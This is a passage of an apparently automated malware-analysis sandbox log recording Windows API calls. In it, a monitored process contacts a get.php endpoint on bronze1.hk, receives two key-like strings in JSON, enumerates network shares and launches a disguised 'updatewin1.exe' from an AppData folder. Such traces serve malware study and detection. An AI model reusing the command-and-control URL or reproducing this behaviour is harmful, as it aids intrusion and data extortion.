(HeapHandle=0x6d0000, Flags=0x0, Size=0x850) returned 0x30d0bf0 [0047.537] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d03a8 | out: hHeap=0x6d0000) returned 1 [0047.537] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3080710 | out: hHeap=0x6d0000) returned 1 [0047.537] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x8d0) returned 0x3094c90 [0047.538] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x2fe6290 | out: hHeap=0x6d0000) returned 1 [0047.538] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d0bf0 | out: hHeap=0x6d0000) returned 1 [0047.538] lstrcpyW (in: lpString1=0xfc5af78, lpString2="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php?pid=6F1FD8FD0D4976892B2858396FD186FE" | out: lpString1="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php?pid=6F1FD8FD0D4976892B2858396FD186FE") returned="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php?pid=6F1FD8FD0D4976892B2858396FD186FE" [0047.538] lstrcatW (in: lpString1="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php?pid=6F1FD8FD0D4976892B2858396FD186FE", lpString2="&first=true" | out: lpString1="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php?pid=6F1FD8FD0D4976892B2858396FD186FE&first=true") returned="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php?pid=6F1FD8FD0D4976892B2858396FD186FE&first=true" [0047.538] InternetOpenUrlW (hInternet=0xcc0010, lpszUrl="http://bronze1.hk/asd73456lHISJdhf6834hj23/Askjd48598hisdf/get.php?pid=6F1FD8FD0D4976892B2858396FD186FE&first=true", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc0018 [0048.396] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0xfc5a778, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xfc5a774 | out: lpBuffer=0xfc5a778*, lpdwNumberOfBytesRead=0xfc5a774*=0x67) returned 1 [0048.397] InternetCloseHandle (hInternet=0xcc0018) returned 1 [0048.399] InternetCloseHandle (hInternet=0xcc0010) returned 1 [0048.399] lstrlenA (lpString="{\"line1\":\"") returned 10 [0048.399] lstrcpyA (in: lpString1=0xfc5ab78, lpString2="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}" | out: lpString1="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}" [0048.399] lstrcpyA (in: lpString1=0xfc5a778, lpString2="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}" | out: lpString1="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}" [0048.399] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0048.399] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0048.399] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0048.399] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0048.399] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0048.399] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0048.399] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0048.399] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0048.399] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0048.399] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0048.399] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0048.399] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0048.399] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0048.399] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0048.399] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0048.399] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0048.399] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0048.399] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0048.399] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0048.399] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0048.399] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0048.399] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0048.399] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0048.399] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0048.399] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0048.399] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0048.399] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0048.399] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0048.400] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0048.400] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0048.400] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0048.400] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0048.400] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0048.400] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0048.400] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0048.400] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0048.400] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0048.400] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0048.400] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0048.400] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0048.400] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0048.400] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x60) returned 0x2fd4e98 [0048.400] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x8ba) returned 0x30d9f70 [0048.400] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2fd4e98, cbMultiByte=-1, lpWideCharStr=0x30d9f70, cchWideChar=1117 | out: lpWideCharStr="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 94 [0048.400] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x8c0) returned 0x30da838 [0048.400] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d9f70 | out: hHeap=0x6d0000) returned 1 [0048.400] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x2fd4e98 | out: hHeap=0x6d0000) returned 1 [0048.400] lstrcpyW (in: lpString1=0x464f20, lpString2="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}" | out: lpString1="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}" [0048.400] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30da838 | out: hHeap=0x6d0000) returned 1 [0048.400] lstrlenA (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 93 [0048.400] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0xbc) returned 0x3099940 [0048.400] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xfc5a778, cbMultiByte=-1, lpWideCharStr=0x3099940, cchWideChar=94 | out: lpWideCharStr="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 94 [0048.400] lstrcpyW (in: lpString1=0x464f20, lpString2="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}" | out: lpString1="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI\",\"line2\":\"BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}" [0048.400] lstrlenW (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI") returned 40 [0048.400] lstrlenA (lpString="\",\"line2\":\"") returned 11 [0048.400] lstrcpyA (in: lpString1=0xfc5ab78, lpString2="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}" | out: lpString1="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}" [0048.400] lstrcpyA (in: lpString1=0xfc5a778, lpString2="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}" | out: lpString1="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}" [0048.400] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0048.400] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0048.400] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0048.400] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0048.400] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0048.400] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0048.400] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0048.400] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0048.401] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0048.401] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0048.401] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0048.401] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0048.401] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0048.401] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0048.401] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0048.401] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0048.401] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0048.401] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0048.401] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0048.401] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0048.401] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0048.401] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0048.401] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0048.401] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0048.401] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0048.401] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0048.401] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0048.401] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0048.401] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0048.401] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0048.401] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0048.401] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0048.401] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0048.401] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0048.401] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0048.401] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0048.401] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0048.401] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0048.401] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0048.401] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0048.401] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0048.401] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x30) returned 0x30809e8 [0048.401] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x854) returned 0x30d9f70 [0048.401] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x30809e8, cbMultiByte=-1, lpWideCharStr=0x30d9f70, cchWideChar=1066 | out: lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 43 [0048.401] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x860) returned 0x30da7d0 [0048.401] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d9f70 | out: hHeap=0x6d0000) returned 1 [0048.401] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30809e8 | out: hHeap=0x6d0000) returned 1 [0048.402] lstrcpyW (in: lpString1=0x46c450, lpString2="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}" | out: lpString1="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}" [0048.402] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30da7d0 | out: hHeap=0x6d0000) returned 1 [0048.402] lstrlenA (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 42 [0048.402] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x56) returned 0x309f2e0 [0048.402] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xfc5a778, cbMultiByte=-1, lpWideCharStr=0x309f2e0, cchWideChar=43 | out: lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned 43 [0048.402] lstrcpyW (in: lpString1=0x46c450, lpString2="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}" | out: lpString1="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}") returned="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62\"}" [0048.402] lstrlenW (lpString="atPUGmggxTuSMUgxax37BLpWE2DrMCtD1rJvSvNI") returned 40 [0048.402] lstrlenW (lpString="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62") returned 40 [0048.402] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3094c90 | out: hHeap=0x6d0000) returned 1 [0048.402] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30cffe0 | out: hHeap=0x6d0000) returned 1 Thread: id = 46 os_tid = 0xafc [0048.744] timeGetTime () returned 0x1b20f [0048.744] GetLastError () returned 0x54f [0048.744] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x3bc) returned 0x30d5a68 [0048.744] GetCurrentThreadId () returned 0xafc [0048.744] SetLastError (dwErrCode=0x54f) [0048.744] Sleep (dwMilliseconds=0x7530) [0062.650] Sleep (dwMilliseconds=0x3e8) Thread: id = 47 os_tid = 0xb00 [0048.744] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x9c9fee0 | out: lphEnum=0x9c9fee0*=0x30badb0) returned 0x0 [0049.134] WNetEnumResourceW (in: hEnum=0x30badb0, lpcCount=0x9c9fedc, lpBuffer=0x313a260, lpBufferSize=0x9c9fed8 | out: lpcCount=0x9c9fedc, lpBuffer=0x313a260, lpBufferSize=0x9c9fed8) returned 0x0 [0049.134] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x40) returned 0x30943f0 [0049.134] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x40) returned 0x3094438 [0049.134] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x70) returned 0x30c2ff0 [0049.134] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x40) returned 0x3094480 [0049.134] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x40) returned 0x30944c8 [0049.134] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x313a260, lphEnum=0x9c9fe28 | out: lphEnum=0x9c9fe28*=0x30707c0) returned 0x0 [0049.727] WNetEnumResourceW (in: hEnum=0x30707c0, lpcCount=0x9c9fe24, lpBuffer=0x317d598, lpBufferSize=0x9c9fe20 | out: lpcCount=0x9c9fe24, lpBuffer=0x317d598, lpBufferSize=0x9c9fe20) returned 0x103 [0049.727] WNetCloseEnum (hEnum=0x30707c0) returned 0x0 [0049.727] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3094438 | out: hHeap=0x6d0000) returned 1 [0049.727] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30943f0 | out: hHeap=0x6d0000) returned 1 [0049.727] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x40) returned 0x30943f0 [0049.727] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x40) returned 0x3094438 [0049.727] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0xe0) returned 0x3073d10 [0049.727] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x40) returned 0x3094120 [0049.727] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x40) returned 0x30945a0 [0049.727] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30944c8 | out: hHeap=0x6d0000) returned 1 [0049.727] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3094480 | out: hHeap=0x6d0000) returned 1 [0049.727] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30c2ff0 | out: hHeap=0x6d0000) returned 1 [0049.727] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x40) returned 0x3094480 [0049.727] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x40) returned 0x30944c8 [0049.727] WNetOpenEnumW (dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x313a280, lphEnum=0x9c9fe28) Thread: id = 48 os_tid = 0xb0c Process: id = "6" image_name = "updatewin1.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin1.exe" page_root = "0x30171000" os_pid = "0xb04" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0xaa8" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\updatewin1.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 49 os_tid = 0xb08 [0050.046] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff7c | out: lpSystemTimeAsFileTime=0x18ff7c*(dwLowDateTime=0xaa477090, dwHighDateTime=0x1d53993)) [0050.046] GetCurrentProcessId () returned 0xb04 [0050.046] GetCurrentThreadId () returned 0xb08 [0050.046] GetTickCount () returned 0x1b47f [0050.046] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff74 | out: lpPerformanceCount=0x18ff74*=17032314939) returned 1 